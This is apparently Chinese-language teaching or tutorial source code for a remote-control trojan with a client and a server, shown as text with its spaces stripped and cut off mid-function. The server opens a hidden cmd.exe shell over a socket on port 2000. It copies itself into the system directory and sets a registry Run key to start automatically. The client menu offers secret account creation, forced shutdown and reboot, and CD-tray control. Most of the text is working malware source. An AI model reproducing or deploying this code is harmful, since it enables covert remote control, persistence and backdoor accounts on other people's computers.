程序清单:Client.cpp//客户端代码Server.cpp//服务器端代码程序代码及说明://Client.cpp文件#includestdio.h//包含标准输入输出库#includewinsock.h//包含windows套接字函数#includeiostreamusingnamespacestd;#pragmacomment(lib,Ws2_32)//将注释wsock32放置到lib文件中,否则需要加载#defineMAXSIZE2048//每次可以接收的最大字节#defineSEND_PORT2000//与木马程序连接的端口为2000structsockaddr_inClientAddr;//对方的地址端口信息SOCKETsock;//定义套接字变量,为全局变量DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf(sockinitfail);return(-1);}sock=socket(AF_INET,SOCK_STREAM,0);//连接对方return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[MAXSIZE];//传送数据的缓冲区charip[100];cout请输入要连接的IP地址endl;cinip;startSock();//调用建立套接字功能函数ClientAddr.sin_family=AF_INET;//协议类型是INETClientAddr.sin_port=htons(SEND_PORT);//连接对方2000端口ClientAddr.sin_addr.s_addr=inet_addr(ip);//连接对方的IP地址connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));printf(------------远程控制木马程序菜单-------------\r\n);printf(add--建立Windows系统的秘密帐号\r\n);printf(shutdown--关闭Windows计算机\r\n);printf(reset--重新启动Windows计算机\r\n);printf(close--关闭光驱\r\n);printf(open--打开光驱\r\n);1printf(shell--建立cmd进程\r\n);printf(quit--退出系统\r\n);printf(BIT----------gaoping-----------\r\n);while(1){buf[0]='\0';scanf(%s,buf);//输入控制指令intiLen=strlen(buf);buf[iLen]=0xa;buf[iLen+1]='\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock,buf,strlen(buf),0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte]='\0';printf(%s,buf);//显示服务端发来的提示符if(strcmp(buf,quit)==0){closesocket(sock);return0;}}return0;}//Server.cpp文件#includewinsock2.h//包含windows套接字函数#includestdio.h//包含标准输入输出函数#includemmsystem.h//光驱控制函数mciSendString()所需的头文件#includeiostream//包含C++系统输入输出函数#includestring//包含字符串处理函数usingnamespacestd;#includewinuser.h//WinExec()函数所需的头文件#pragmacomment(lib,Ws2_32)//将注释wsock32放置到lib文件中,否则需要加载#pragmacomment(lib,Winmm.lib)//光驱控制函数mciSendString()所需的库#defineRECV_PORT2000//木马服务端对外响应的端口#definePATH200//程序自启动的最大路径SOCKETsock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端与客户端建立响应后的套接字intg1;charBuff[1024],cmd[1024];//缓冲区2DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf(sockinitfail);return(-1);}sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//建立套接字,为TCP/IP、流式格式structsockaddr_inserverAddr;//保存套接字地址的结构体serverAddr.sin_family=AF_INET;//规定使用IPv4协议serverAddr.sin_port=htons(RECV_PORT);//响应端口serverAddr.sin_addr.s_addr=ADDR_ANY;//建立IP地址,ADDR_ANY可使用任意IP地址连接g1=bind(sock1,(sockaddr*)&serverAddr,sizeof(serverAddr));//绑定端口与套接字g1=listen(sock1,5);//等待监听,最大可接受5个连接请求intserverAddrSize=sizeof(serverAddr);sock2=accept(sock1,(sockaddr*)&serverAddr,&serverAddrSize);//如果客户请求2000端口,接受连接,并返回sock2套接字return1;}intcmdshell(SOCKETsock)//建立cmd进程功能模块{STARTUPINFOstartinfo;//控制进程的主窗口的显示方式ZeroMemory(&startinfo,sizeof(startinfo));startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//决定本结构的每一个成员是否起作用startinfo.wShowWindow=SW_HIDE;//窗口显示模式,隐藏格式startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)sock;//标准输入输出管道charcmdsystem[]=cmd;//cmd进程PROCESS_INFORMATIONProcessInformation;//指向进程信息结构的指针intg2;//下面为建立进程过程g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation);//建立一个cmd.exe进程与相应的输入输出管道WaitForSingleObject(ProcessInformation.hProcess,INFINITE);//等待子进程退出TerminateProcess(ProcessInformation.hProcess,0);//在一个子进程中强制结束其他的进程CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄return1;}DWORDstartExeFile()//自启动程序功能模块3{charExeFile[PATH];//木马程序缓冲区charTempPath[PATH];//系统目录缓冲区intg3;GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名GetSystemDirectory(TempPath,PATH);//得到系统目录strcat(TempPath,\\server.exe);//拷贝到系统文件夹名为server.exeg3=CopyFile(ExeFile,TempPath,FALSE);HKEYkey;//关键字句柄if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,Software\\Microsoft\\Windows\\CurrentVersion\\Run,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS){//创建和打开一个关键字RegSetValueEx(key,server,0,REG_SZ,(BYTE*)TempPath,lstrlen(TempPath));//在RUN键下建立一个server键,为该木马的路径RegCloseKey(key);//关闭并保存}return1;}DWORDOpen_CDROM()//打开光驱程序功能模块{mciSendString(setcdaudiodooropen,NULL,0,NULL);//多媒体控制函数return1;}DWORDClose_CDROM()//关闭光驱程序功能模块{mciSendString(Setcdaudiodoorclosedwait,NULL,1,NULL);//多媒体控制函数return1;}DWORDshutdownwin2k()//关闭Win2K程序功能模块{HANDLEhToken;TOKEN_PRIVILEGEStkp;//Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;//设置一个权限tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);return1;}DWORDshutdownwin98()//关闭Win98程序功能模块{ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);return1;}DWORDresetwin98()//重新启动Win98程序功能模块{ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);return1;4}DWORDresetwin2k()//重新启动Win2K程序功能模块{HANDLEhToken;TOKEN_PRIVILEGEStkp;//Windows2K系列,需要设